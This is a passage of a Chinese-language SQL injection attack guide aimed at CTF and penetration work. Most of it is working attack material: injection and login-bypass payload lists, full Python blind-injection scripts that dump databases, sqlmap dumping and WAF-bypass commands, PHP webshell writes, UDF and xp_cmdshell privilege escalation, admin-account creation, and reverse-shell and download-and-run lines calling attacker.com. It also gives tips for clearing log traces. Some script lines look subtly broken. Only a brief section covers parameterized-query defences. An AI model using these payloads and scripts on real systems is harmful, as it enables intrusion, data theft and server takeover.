## 示例：X-Forwarded-For 注入

```
GET /index.php HTTP/1.1
Host: target.com
X-Forwarded-For: 1' AND extractvalue(1,concat(0x7e,database()))--+
```

对应的后端代码漏洞：

```
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$sql = "INSERT INTO logs (ip, time) VALUES ('$ip', NOW())";
```

## Cookie 注入示例

```
GET /index.php HTTP/1.1
Cookie: id=1' UNION SELECT 1,database(),3--+
```

---

## 2.10 宽字节注入

### 原理

当数据库使用 GBK 编码，且后端使用 `addslashes()` 或 `mysql_real_escape_string()` 转义时：

- 正常：`'` → `\'`（单引号被转义）
- 宽字节绕过：`%df'` → `%df\'` → `縊'`（`%df%5c` 构成合法GBK字符，吃掉反斜杠）

输入：`%df'`

转义后：`%df\'` 即 `%df%5c%27`

GBK解码：`%df%5c` → `縊`（一个汉字）

结果：`縊'` ← 单引号成功逃逸！

## 宽字节注入 Payload

```
-- 原本被转义的: ?id=1' → id=1\' (失败)
-- 宽字节注入: ?id=1%df' → id=1縊' (成功)

-- 联合查询
?id=1%df' UNION SELECT 1,2,3--+

-- 报错注入
?id=1%df' AND extractvalue(1,concat(0x7e,database()))--+

-- URL编码形式
?id=1%df%27 UNION SELECT 1,database(),3--+
-- %27 = '
```

## 触发条件

1. 数据库字符集为 GBK (SET NAMES gbk)
2. 后端对单引号进行了转义 (addslashes 等)
3. 转义发生在编码转换之前

### 2.11 堆叠查询注入

利用 ; 执行多条 SQL 语句, 适合 读数据 和 写数据/执行命令。

## 前提条件

- 数据库: MySQL (PDO)、MSSQL、PostgreSQL
- MySQL 原生 mysqli\_query 不支持堆叠, PDO 支持

## 堆叠注入 Payload

```
-- 基本测试
?id=1;SELECT SLEEP(3)--+ → 延迟则支持堆叠

-- 读数据 (无回显场景配合带外或时间)
```

```

?id=1;SELECT username,password FROM users INTO OUTFILE
'/tmp/out.txt'--+

-- 修改数据
?id=1;UPDATE users SET password='hacked' WHERE username='admin'--+

-- 创建新管理员
?id=1;INSERT INTO users (username,password,role) VALUES
('hacker','pass123','admin')--+

-- 写 webShell (需要 FILE 权限且知道路径)
?id=1;SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE
'/var/www/html/shell.php'--+

-- MSSQL 执行系统命令
?id=1;EXEC xp_cmdshell 'whoami'--+
?id=1;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC
sp_configure 'xp_cmdshell',1;RECONFIGURE--+

```

## 2.12 二阶注入

### 原理

数据在存入时经过了转义，但取出后再次使用时未再转义，导致注入。

```

阶段1: 用户注册，用户名输入  admin'--
    → 存入数据库: admin'-- (转义后存储正常)

阶段2: 修改密码功能
    → 取出用户名: admin'--
    → 拼入SQL: UPDATE users SET password='xxx' WHERE
username='admin'-- '
    → 实际执行: UPDATE users SET password='xxx' WHERE
username='admin' (注释掉了条件)
    → 修改了 admin 的密码!

```

## 二阶注入示例（CTF 常见场景）

1. 注册用户名: `admin'--`
2. 登录: `admin'--`
3. 修改密码为: `hacked`

后端代码:

```
$username = $_SESSION['username']; // = admin'--
$sql = "UPDATE users SET password='$new_pwd' WHERE
username='$username'";
// 实际: UPDATE users SET password='hacked' WHERE username='admin'--
'
// 结果: 修改了 admin 的密码而不是自己的密码
```

---

## 2.13 万能密码与登录绕过

### 常用万能密码列表（直接复制）

用户名字段注入:

```
admin'--
admin'#
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'#
' OR 1=1--
' OR 1=1#
' OR 1=1/*
') OR ('1'='1
') OR ('1'='1'--
'OR 1 -- -
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
```

```
admin' or '1'='1'#  
admin' or 1=1--  
admin' or 1=1#  
admin')--  
admin') or ('1'='1  
1' OR '1' = '1
```

数字型（无引号）：

```
1 OR 1=1  
1 OR 1=1--  
1 OR 1=1#  
1) OR (1=1  
1 AND 1=2 UNION SELECT 1,1--
```

密码字段同样可以注入：

```
' OR '1'='1  
' OR 1=1--  
anything' OR 'x'='x
```

## 典型登录绕过场景

后端代码：

```
$username = $_POST['username'];  
$password = $_POST['password'];  
$sql = "SELECT * FROM users WHERE username='$username' AND  
password='$password'";  
$result = mysqli_query($conn, $sql);  
if(mysqli_num_rows($result) > 0) {  
    echo "登录成功";  
}
```

注入 **Payload**:

```
# 方法1: 注释掉密码验证  
username: admin'--
```

password: 随便输

```
# 实际SQL: SELECT * FROM users WHERE username='admin'--' AND  
password='xxx'
```

```
# = SELECT * FROM users WHERE username='admin'
```

# 如果 admin 存在 → 登录成功

# 方法2: OR 永真

username: ' OR 1=1--

password: 随便输

```
# 实际SQL: SELECT * FROM users WHERE username='' OR 1=1--' AND  
password='xxx'
```

# OR 1=1 使条件永真 → 返回第一条用户记录 → 登录成功

# 方法3: 绕过 MD5 密码验证 (特殊情况)

# 如果后端是: WHERE username='xxx' AND password=md5('yyy')

# 可以在username注入:

username: admin' AND 1=1 UNION SELECT

1, '21232f297a57a5a743894a0e4a801fc3'--

# 21232f297a57a5a743894a0e4a801fc3 是 'admin' 的MD5

## 搜索框万能密码

```
-- 后端: WHERE name LIKE '%keyword%'
```

```
-- 注入:
```

```
keyword: '%' OR 1=1--
```

```
keyword: '%' OR '1'='1
```

```
keyword: ' ) OR ( '1'='1
```

---

## 2.14 自动化盲注脚本

### Python 布尔盲注脚本

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
布尔盲注自动化脚本
用法: 修改 TARGET_URL 和 inject() 函数中的 payload 模板
"""

import requests
import string
import time

# ===== 配置区 =====
TARGET_URL = "http://target.com/item.php"
# 注入参数名
PARAM = "id"
# 正常页面的特征字符串（用于判断真/假）
TRUE_KEYWORD = "welcome"
# 请求方式: GET 或 POST
METHOD = "GET"
# Cookie（如需要）
COOKIES = {}
# Headers
HEADERS = {"User-Agent": "Mozilla/5.0"}
# 延时（防WAF）
DELAY = 0.1
# =====

def inject(payload):
    """发送注入请求, 返回 True（页面正常）或 False（页面异常）"""
    params = {PARAM: payload}
    try:
        if METHOD == "GET":
            r = requests.get(TARGET_URL, params=params,
                             cookies=COOKIES, headers=HEADERS,
                             timeout=10)
```

```

        else:
            r = requests.post(TARGET_URL, data=params,
                              cookies=COOKIES, headers=HEADERS,
                              timeout=10)
            time.sleep(DELAY)
            return TRUE_KEYWORD in r.text
    except Exception as e:
        print(f"[!] 请求异常: {e}")
        return False

def get_length(query):
    """获取字符串长度"""
    for length in range(1, 200):
        payload = f"1 AND length(({query}))={length}--+"
        if inject(payload):
            return length
    return 0

def get_string(query, max_len=200):
    """逐字符提取字符串（二分法）"""
    result = ""
    for pos in range(1, max_len + 1):
        # 二分查找 ASCII 值
        low, high = 32, 126
        found = False
        while low <= high:
            mid = (low + high) // 2
            payload = f"1 AND ascii(substr(({query}},{pos},1))>
{mid}--+"
            if inject(payload):
                low = mid + 1
            else:
                # 验证是否等于 mid
                payload = f"1 AND ascii(substr(({query}},{pos},1))=
{mid}--+"
                if inject(payload):
                    result += chr(mid)

```

```

        print(f"\r[*] 当前结果: {result}", end="",
flush=True)

        found = True
        break
    else:
        high = mid - 1
    if not found:
        break
print()
return result

def main():
    print("[*] SQL 布尔盲注脚本启动")
    print(f"[*] 目标: {TARGET_URL}")

    # 测试注入
    if inject(f"1 AND 1=1--+") and not inject(f"1 AND 1=2--+"):
        print("[+] 注入点确认!")
    else:
        print("[-] 未检测到注入点, 请检查配置")
        return

    # 获取数据库名
    print("\n[*] 获取当前数据库名...")
    db_query = "SELECT database()"
    db_name = get_string(db_query)
    print(f"[+] 数据库名: {db_name}")

    # 获取所有表名
    print("\n[*] 获取表名...")
    tables_query = f"SELECT group_concat(table_name) FROM
information_schema.tables WHERE table_schema='{db_name}'"
    tables = get_string(tables_query)
    print(f"[+] 所有表: {tables}")

    table_list = tables.split(",")
    print(f"[*] 发现 {len(table_list)} 个表")

    # 对每个表获取列名和数据

```

```

for table in table_list:
    table = table.strip()
    if not table:
        continue
    print(f"\n[*] 表 [{table}] 的列名...")
    cols_query = f"SELECT group_concat(column_name) FROM
information_schema.columns WHERE table_schema='{db_name}' AND
table_name='{table}'"
    cols = get_string(cols_query)
    print(f"[+] 列名: {cols}")

    print(f"[*] 表 [{table}] 的数据...")
    col_list = cols.split(",")
    data_query = f"SELECT
group_concat({'',0x7c,''.join(col_list)}) FROM {table}"
    data = get_string(data_query)
    print(f"[+] 数据: {data}")

if __name__ == "__main__":
    main()

```

## Python 时间盲注脚本

```

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
时间盲注自动化脚本
适用于无任何回显的场景
"""

import requests
import time
import string

# ===== 配置区 =====
TARGET_URL = "http://target.com/item.php"
PARAM = "id"
METHOD = "GET"
SLEEP_TIME = 3          # 判断延迟的秒数

```

```

THRESHOLD = 2.0          # 超过此时间判定为 TRUE
COOKIES = {}
HEADERS = {"User-Agent": "Mozilla/5.0"}
DELAY = 0.1
# =====

def inject(payload):
    """发送请求，返回响应时间（秒）"""
    params = {PARAM: payload}
    start = time.time()
    try:
        if METHOD == "GET":
            r = requests.get(TARGET_URL, params=params,
                             cookies=COOKIES, headers=HEADERS,
                             timeout=15)
        else:
            r = requests.post(TARGET_URL, data=params,
                              cookies=COOKIES, headers=HEADERS,
                              timeout=15)
        elapsed = time.time() - start
        time.sleep(DELAY)
        return elapsed
    except:
        return time.time() - start

def is_true(payload):
    """判断条件是否为真（通过延迟判断）"""
    elapsed = inject(payload)
    return elapsed >= THRESHOLD

def get_length(query):
    """获取字符串长度"""
    for length in range(1, 200):
        payload = f"1 AND IF(length(({query}))=
{length},SLEEP({SLEEP_TIME}),0)--+"
        if is_true(payload):
            return length

```

```

return 0

def get_string(query, max_len=200):
    """逐字符提取字符串"""
    result = ""
    for pos in range(1, max_len + 1):
        low, high = 32, 126
        found = False
        while low <= high:
            mid = (low + high) // 2
            payload = f"1 AND IF(ascii(substr(({query}},{pos},1))>
{mid},SLEEP({SLEEP_TIME}),0)--+"
            if is_true(payload):
                low = mid + 1
            else:
                payload = f"1 AND IF(ascii(substr(({query}},{pos},1))={mid},SLEEP({SLEEP_TIME}),0)--+"
                if is_true(payload):
                    result += chr(mid)
                    print(f"\r[*] 当前结果: {result}", end="",
flush=True)

                    found = True
                    break
                else:
                    high = mid - 1
        if not found:
            break
    print()
    return result

def main():
    print("[*] SQL 时间盲注脚本启动")
    print(f"[*] 目标: {TARGET_URL}")
    print(f"[*] 延迟阈值: {THRESHOLD}s / SLEEP时间: {SLEEP_TIME}s")

    # 测试注入
    t1 = inject(f"1 AND IF(1=1,SLEEP({SLEEP_TIME}),0)--+")
    t2 = inject(f"1 AND IF(1=2,SLEEP({SLEEP_TIME}),0)--+")

```

```

if t1 >= THRESHOLD and t2 < THRESHOLD:
    print("[+] 时间注入点确认！")
else:
    print(f"[-] 未检测到注入点 (t1={t1:.2f}s, t2={t2:.2f}s)")
    return

# 获取数据库名
print("\n[*] 获取当前数据库名...")
db_name = get_string("SELECT database()")
print(f"[+] 数据库名: {db_name}")

# 获取表名
print("\n[*] 获取表名...")
tables = get_string(
    f"SELECT group_concat(table_name) FROM
information_schema.tables WHERE table_schema='{db_name}'"
)
print(f"[+] 所有表: {tables}")

if __name__ == "__main__":
    main()

```

## 盲注脚本使用说明

1. 修改脚本顶部配置区：
  - TARGET\_URL: 目标URL
  - PARAM: 注入参数名
  - TRUE\_KEYWORD (布尔): 正常页面的关键词
  - SLEEP\_TIME (时间): 延迟秒数 (越大越准确, 越慢)
2. 如果注入位置在 Cookie 或 Header:
 

修改 inject() 函数, 将 params 改为 headers/cookies
3. 如果参数不在末尾 (如: ?id=1&page=2, 注入page):
 

payload = f"1 AND ...--+" 修改对应参数
4. 如需绕过WAF, 在 inject() 中增加随机UA、随机间隔等

## 2.15 sqlmap 使用指南

### 安装

```
# Kali Linux 自带
sqlmap -h

# 手动安装
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py -h
```

### 基础用法

```
# 检测 GET 参数注入
sqlmap -u "http://target.com/item.php?id=1"

# 检测 POST 参数注入
sqlmap -u "http://target.com/login.php" --
data="username=admin&password=123"

# 带 Cookie 的请求
sqlmap -u "http://target.com/item.php?id=1" --
cookie="PHPSESSID=abc123"

# 指定 HTTP 头注入（如 User-Agent 注入）
sqlmap -u "http://target.com/" -H "User-Agent: *" --level=3

# 指定注入参数
sqlmap -u "http://target.com/item.php?id=1&page=2" -p "id"
```

### 信息收集

```
# 获取所有数据库名
sqlmap -u "http://target.com/item.php?id=1" --dbs

# 获取当前数据库
sqlmap -u "http://target.com/item.php?id=1" --current-db
```

```
# 获取当前用户
sqlmap -u "http://target.com/item.php?id=1" --current-user

# 获取指定库的所有表
sqlmap -u "http://target.com/item.php?id=1" -D webapp --tables

# 获取指定表的所有列
sqlmap -u "http://target.com/item.php?id=1" -D webapp -T users --columns

# 导出指定列的数据
sqlmap -u "http://target.com/item.php?id=1" -D webapp -T users -C "username,password" --dump

# 导出整个数据库
sqlmap -u "http://target.com/item.php?id=1" -D webapp --dump-all
```

## 高级用法

```
# 指定数据库类型
sqlmap -u "..." --dbms=mysql
sqlmap -u "..." --dbms=mssql

# 指定注入技术
# B=布尔盲注 E=报错注入 U=联合查询 S=堆叠查询 T=时间盲注 Q=内联查询
sqlmap -u "..." --technique=BEU

# 增大检测深度 (level 1-5, 默认1)
sqlmap -u "..." --level=3

# 增大风险级别 (risk 1-3, 默认1; 3可能会修改数据, 谨慎!)
sqlmap -u "..." --risk=2

# 使用代理 (Burp抓包)
sqlmap -u "..." --proxy="http://127.0.0.1:8080"

# 从 Burp 保存的请求文件注入
sqlmap -r request.txt

# 随机 User-Agent
```

```
sqlmap -u "..." --random-agent

# 指定线程数（加速）
sqlmap -u "..." --threads=5

# 绕过WAF（使用tamper脚本）
sqlmap -u "..." --tamper=space2comment
sqlmap -u "..." --tamper=between,randomcase,space2comment

# 列出所有 tamper 脚本
sqlmap --list-tampers
```

## Tamper 脚本常用列表

```
# 空格绕过
space2comment      # 空格 → /**/
space2dash         # 空格 → --\n
space2hash         # 空格 → #\n
space2mssqlhash    # 空格 → %23%0A（MSSQL）

# 关键字绕过
randomcase         # 随机大小写：sELECT
between           # > 替换为 NOT BETWEEN 0 AND
equaltolike        # = 替换为 LIKE

# 编码绕过
charencode         # URL编码
chardoubleencode   # 双重URL编码
base64encode       # Base64编码（部分场景）
hex2char           # 字符串 → char() 函数

# 注释绕过
versionedmorekeywords # 加版本注释 /*!50000 SELECT*/

# 组合使用
sqlmap -u "..." --tamper=randomcase,space2comment,between
```

## 文件操作与命令执行

```
# 读取文件
sqlmap -u "..." --file-read="/etc/passwd"
sqlmap -u "..." --file-read="/var/www/html/config.php"

# 写入文件（需要 FILE 权限且目录可写）
sqlmap -u "..." --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# 执行系统命令（os-shell 交互式 shell）
sqlmap -u "..." --os-shell

# 执行单条命令
sqlmap -u "..." --os-cmd="whoami"

# 获取 SQL shell
sqlmap -u "..." --sql-shell
```

## Burp Suite 配合使用

```
# 1. 在 Burp 中拦截请求，右键 → Copy to file → 保存为 request.txt
# 2. request.txt 内容示例：
#   GET /item.php?id=1 HTTP/1.1
#   Host: target.com
#   Cookie: PHPSESSID=abc123

# 3. 使用 -r 参数
sqlmap -r request.txt --dbs

# 4. 在请求文件中标记注入点（用 * 标记）
#   GET /item.php?id=1* HTTP/1.1
sqlmap -r request.txt -p id
```

## CTF 快速命令

```
# 一键拿库名+表名+数据（无WAF简单题）
sqlmap -u "http://target.com/item.php?id=1" \
  --dbs \
```

```
--batch \           # 自动选择默认值，无需交互
--level=2 \
--random-agent

# 快速 dump 所有数据
sqlmap -u "http://target.com/item.php?id=1" \
--current-db \
--tables \
--dump-all \
--batch \
--random-agent

# POST 登录页面测试
sqlmap -u "http://target.com/login.php" \
--data="user=admin&pass=123" \
--dbs \
--batch
```

## Windows使用:

```
# cmd命令行
cd \sqlmap\sqlmapproject
python sqlmap.py 加参数

# 判断是否存在注入
python sqlmap.py -u "URL"

# 判断当前用户是否为dba
python sqlmap.py -u "URL" --is-dba

# 查看数据库用户
python sqlmap.py -u "URL" --current-user

# 查看所有数据库
python sqlmap.py -u "URL" --dbs
```

# 查看当前数据库名称

```
python sqlmap.py -u "URL" --current-db
```

# 查询当前数据库的表

```
python sqlmap.py -u "URL" -D 数据库名 --tables
```

# 查询表中的字段名

```
python sqlmap.py -u "URL" -D 数据库名 -T 表名 --columns
```

# 查询字段下的数据

```
python sqlmap.py -u "URL" -D 数据库名 -T 表名 --dump
```

参数自由组合 URL要加双引号 每一个参数之间要空格

如:

```
python sqlmap.py -u "http://127.0.0.1:53956/" --data="id=1" -D  
past_paper -T flag_table --columns flag --dump
```

# 基本参数

**-d** 指定直接数据库连接得连接字符串，直接连接到数据库。

**-u** 指定URL目标

**-I** 从Burp或WebScarab代理得日志中解析目标

**-m** 扫描文本文件中给出得多个目标，批量扫描

**-r** 从文本中加载HTTP请求。 用 \* 标记注入位置

**-g** 将Google Dork得结果作为目标URLh

**-a** 获取所有信息

**-current-user** 获取DBMS当前用户

**--current-db** 获取DBMS当前数据库

**--hostname** 获取DBMS当前主机名

**--is-dba** 检测当前用户是否为管理员用户

**--users** 查询DBMS用户

**--passwords** 查询DBMS用户密码hash

**--dbs** 查询DBMS数据库

**--tables** 查询DBMS数据库中得表

|                             |                 |    |
|-----------------------------|-----------------|----|
| <code>--columns</code>      | 查询DBMS数据库表得列名   |    |
| <code>--dump</code>         | 查询转储DBMS数据库表    |    |
| <code>--dump-all</code>     | 转储DBMS所有数据库表    |    |
| <code>-D db_name</code>     | 指定要求枚举的DBMS数据库名 |    |
| <code>-T table_name</code>  | 指定要枚举得DBMS表     |    |
| <code>-C column_name</code> | 指定要枚举得DBMS列     |    |
| <code>--batch</code>        | 从不询问用户输入，使用所有默认 | 配置 |

### # 进阶参数

|                                     |                                    |
|-------------------------------------|------------------------------------|
| <code>--data=DATA</code>            | 通过POST方式发送数据字符串                    |
| <code>--cookie=COOKIE</code>        | HTTP Cookie头 LMXCMS演示              |
| <code>--user-agent=AGENT</code>     | 指定HTTP User-Agent头                 |
| <code>--random-agent</code>         | 使用随机选定得HTTP User-Agent头            |
| <code>--host=HOST</code>            | 指定HTTP HOST header                 |
| <code>--referer=REFERER</code>      | 指定HTTP Referer header              |
| <code>--ignore-proxy</code>         | 忽略系统默认代理配置                         |
| <code>--proxy=PROXY</code>          | 使用代理连接目标URL <code>--proxy="</code> |
| <code>http://127.0.0.1:8080"</code> |                                    |
| <code>--delay=DELAY</code>          | 可以设定两个请求间得延迟                       |
| <code>--timeout=TIMEOUT</code>      | 可以设定一个请求超过多久判定为超时                  |
| <code>--force-ssl</code>            | 强制使用SSL/HTTPS                      |
| <code>--threads=THREADS</code>      | HTTP (s) 最大并发请求数 (默认是1)            |
| <code>--dbms=DBMS</code>            | 强制指定后端DBMS                         |
| <code>--os=OS</code>                | 强制指定后端得DBMS操作系统                    |
| <code>--tamper</code>               | 使用给定得脚本修改注入数据                      |

  

|                            |                         |
|----------------------------|-------------------------|
| <code>--level=LEVEL</code> | 测试等级(1-5, default 1)    |
| <code>--risk=RISK</code>   | 测试的风险等级(1-3, default 1) |
| <code>--technique</code>   | 来指定要使用哪种注入模式，快速扫描       |

### # 访问文件系统

使用条件:

1. 知道网站的绝对路径
2. 高权限数据库用户
3. `secure_file_priv=''` 无限制

|                                |                         |
|--------------------------------|-------------------------|
| <code>--file-read=文件路径</code>  | 从后端的数据库管理系统、统文件系统读取文件   |
| <code>--file-write=文件路径</code> | 编辑后端的数据库管理系统、文件系统上的本地文件 |
| <code>--file-dest=文件路径</code>  | 后端的数据库管理系统、写入文件的绝对路径    |

#tamper绕过

太多了

## 2.16 获取系统权限

### 方法一：写入 WebShell

```
-- 条件：1. 有 FILE 权限 2. 知道 web 路径 3. 目录有写权限

-- 写入一句话木马
SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE
'/var/www/html/shell.php';

-- 写入图片马（绕过上传检测）
SELECT 0x3c3f70687020406576616c28245f504f53545b22636d64225d293b3f3e
INTO DUMPFILE '/var/www/html/shell.php';
-- 0x3c... 是 <?php @eval($_POST["cmd"]);?> 的十六进制

-- 通过注入点写入
?id=1 UNION SELECT 1, '<?php @eval($_POST[x]);?>', 3 INTO OUTFILE
'/var/www/html/x.php'--+
```

验证 WebShell:

```
# 写入成功后访问
curl http://target.com/shell.php -d "cmd=system('id');"

# 或使用蚁剑/冰蝎/菜刀连接
URL: http://target.com/shell.php
密码: cmd
```

## 方法二：MySQL UDF 提权

```
-- 适用：MySQL 以 root 运行，可写入 plugin 目录

-- Step 1: 查看插件目录
SHOW VARIABLES LIKE 'plugin_dir';
SELECT @@plugin_dir;

-- Step 2: 上传 UDF 库文件 (.so/.dll)
-- 使用 sqlmap --os-shell 或手动上传
SELECT binary 0xUDF_HEX_DATA INTO DUMPFILE
'/usr/lib/mysql/plugin/udf.so';

-- Step 3: 创建 UDF 函数
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

-- Step 4: 执行命令
SELECT sys_eval('id');
SELECT sys_eval('cat /etc/passwd');
SELECT sys_eval('bash -i >& /dev/tcp/attacker.com/4444 0>&1');
```

## 方法三：MSSQL xp\_cmdshell

```
-- 启用 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- 执行命令
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user hacker P@ssw0rd /add';
EXEC xp_cmdshell 'net localgroup administrators hacker /add';

-- 反弹 shell
EXEC xp_cmdshell 'powershell -c "iex (iwr
http://attacker.com/rev.ps1)";'
```

## 方法四：通过日志文件写 Shell

```
-- MySQL 通用日志写 shell（无需 secure_file_priv 限制）

-- Step 1: 开启通用日志并指定日志路径
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/www/html/shell.php';

-- Step 2: 执行查询，查询内容会写入日志
SELECT '<?php @eval($_POST[x]);?>';

-- Step 3: 关闭日志（清理痕迹）
SET GLOBAL general_log = 'OFF';

-- 在注入点中使用：
?id=1;SET GLOBAL general_log='ON';--+
?id=1;SET GLOBAL general_log_file='/var/www/html/shell.php';--+
?id=1;SELECT '<?php @eval($_POST[x]);?>';--+
```

---

## 2.17 SQL 注入防御与绕过

### 防御方法

```
// ✅ 预编译语句（参数化查询）—— 最有效！
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND
password = ?");
$stmt->execute([$username, $password]);

// ✅ 使用 mysqli 预处理
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();

// ✅ 输入验证（整数类型强制转换）
$id = (int)$_GET['id'];

// ✅ 最小权限原则（数据库用户只有必要权限）
```

```
GRANT SELECT ON webapp.* TO 'webapp_user'@'localhost';
```

## 常见过滤绕过技巧

空格绕过：

```
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users    -- Tab
SELECT%0ausername%0afrom%0ausers    -- 换行
SELECT(username)FROM(users)        -- 括号
```

关键字大小写混淆：

```
SeLeCt uSErNaMe fRoM uSErS
sElEcT uSeRnAmE fRoM uSErS
```

关键字双写（过滤器只替换一次时）：

```
-- 过滤 union select → 双写绕过
ununionion sselectelect
```

注释分割关键字：

```
UN/**/ION SEL/**/ECT 1,2,3
UN/**!*/ION /**!*/SELECT 1,2,3
```

编码绕过：

```
-- URL 编码
%73%65%6c%65%63%74    -- select

-- unicode 编码（部分数据库）
select → S e l e c t （全角字符）

-- 十六进制代替字符串
WHERE username = 0x61646d696e    -- 代替 'admin'
WHERE username = CHAR(97,100,109,105,110)    -- 代替 'admin'
```

绕过引号过滤：

```
-- 使用十六进制
WHERE username = 0x61646d696e

-- 使用 CHAR 函数
WHERE username = CHAR(97,100,109,105,110)

-- 使用数字比较（特定场景）
WHERE id = 1
```

绕过 **information\_schema** 过滤（MySQL 5.7+）：

```
-- 使用 sys 库
SELECT * FROM sys.x$schema_flattened_keys;

-- 使用 mysql 库
SELECT * FROM mysql.innodb_table_stats;

-- 使用 performance_schema (MySQL 5.7+)
SELECT * FROM performance_schema.tables;
```

绕过 **and/or** 过滤：

```
-- 用 && 代替 AND, || 代替 OR
?id=1 && 1=1--+
?id=1 || 1=1--+

-- 用 ^ (XOR) 代替
?id=1^0--+

-- 大小写
?id=1 and 1=1--+
```

绕过--+：#%23

---

## 2.18 CTF 实战解题思路

### 解题流程

1. 发现注入点
  - 对所有参数加 ' 测试是否报错
  - 检查 GET/POST/Cookie/Header
2. 确定注入类型
  - 有报错信息 → 报错注入
  - 有数据回显 → 联合查询
  - 只有真/假 → 布尔盲注
  - 完全无回显 → 时间盲注
3. 确定列数（联合查询时）
  - ORDER BY N 直到报错
4. 找回显位（联合查询时）
  - id=-1 UNION SELECT 1,2,3
5. 收集信息
  - database() → 库名
  - information\_schema → 表名、列名
6. 读取 Flag
  - SELECT flag FROM flag\_table
7. 如有WAF
  - 尝试大小写/注释/编码等绕过
  - sqlmap + tamper
8. 特殊情况
  - 堆叠注入 → 写Shell/改数据
  - 二阶注入 → 特殊逻辑漏洞

## 常见 CTF 题型 Payload 速查

```
-- === SQLI-LABS 类 (GET 字符型) ===
# 判断列数
http://target/Less-1/?id=1' ORDER BY 3--+

# UNION 注入
http://target/Less-1/?id=-1' UNION SELECT 1,database(),3--+
http://target/Less-1/?id=-1' UNION SELECT
1,group_concat(table_name),3 FROM information_schema.tables WHERE
table_schema=database()--+
http://target/Less-1/?id=-1' UNION SELECT
1,group_concat(column_name),3 FROM information_schema.columns WHERE
table_name='users'--+
http://target/Less-1/?id=-1' UNION SELECT
1,group_concat(username,0x3a,password),3 FROM users--+

-- === 报错注入模板 ===
' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name)
FROM information_schema.tables WHERE table_schema=database())))--+

-- === 布尔盲注测试 ===
' AND substr(database(),1,1)='s'--+
' AND (SELECT count(*) FROM information_schema.tables WHERE
table_schema=database())=2--+

-- === 时间盲注测试 ===
' AND IF(substr(database(),1,1)='s',SLEEP(3),0)--+

-- === flag 一般在哪里 ===
-- 表名通常是: flag, f1ag, fl4g, ctf_flag, secret
SELECT flag FROM flag;
SELECT * FROM flag;

-- 如果 flag 在列名中:
SELECT group_concat(column_name) FROM information_schema.columns
WHERE table_schema=database();

-- 有些题 flag 在文件中 (配合文件读取):
SELECT load_file('/flag');
SELECT load_file('/flag.txt');
```

```
SELECT load_file('/etc/flag');
```

## 注入点在 Header 的 CTF 题

```
import requests

url = "http://target.com/"

# X-Forwarded-For 注入
payload = "1' AND extractvalue(1,concat(0x7e,(SELECT
group_concat(table_name) FROM information_schema.tables WHERE
table_schema=database())))--+"

headers = {
    "X-Forwarded-For": payload,
    "User-Agent": "Mozilla/5.0"
}

r = requests.get(url, headers=headers)
print(r.text)
```

## 绕过 WAF 的 sqlmap 命令

```
# 空格被过滤
sqlmap -u "http://target.com/?id=1" --tamper=space2comment --dbs --batch

# union/select 被过滤
sqlmap -u "http://target.com/?id=1" --tamper=randomcase --technique=BET --dbs --batch

# 多种绕过组合
sqlmap -u "http://target.com/?id=1" \
    --tamper=space2comment,randomcase,between \
    --dbs \
    --batch \
    --random-agent \
    --level=3 \
    --risk=2
```

# 请求文件方式（推荐）

```
sqlmap -r req.txt --tamper=space2comment --dbs --batch --random-agent
```

## 附录：常用十六进制速查

| 字符    | 十六进制         | CHAR()                   | 用途         |
|-------|--------------|--------------------------|------------|
| '     | 0x27         | CHAR(39)                 | 单引号        |
| "     | 0x22         | CHAR(34)                 | 双引号        |
|       | 0x20         | CHAR(32)                 | 空格         |
| :     | 0x3a         | CHAR(58)                 | 冒号分隔符      |
| ~     | 0x7e         | CHAR(126)                | 报错注入标记     |
|       | 0x7c         | CHAR(124)                | 管道分隔符      |
| admin | 0x61646d696e | CHAR(97,100,109,105,110) | 字符串'admin' |

## 附录：MySQL information\_schema 速查

-- 所有库

```
SELECT schema_name FROM information_schema.schemata;
```

-- 所有表（含库名）

```
SELECT table_schema, table_name FROM information_schema.tables;
```

-- 指定库的表

```
SELECT table_name FROM information_schema.tables WHERE  
table_schema='target_db';
```

-- 指定表的列

```
SELECT column_name, data_type FROM information_schema.columns WHERE  
table_name='users';
```

-- 当前库的表（最常用）

```
SELECT table_name FROM information_schema.tables WHERE  
table_schema=database();
```

-- 一次性获取库>表>列

```
SELECT concat(table_schema, '.', table_name, '.', column_name)  
FROM information_schema.columns  
WHERE table_schema NOT IN  
('information_schema', 'mysql', 'performance_schema', 'sys');
```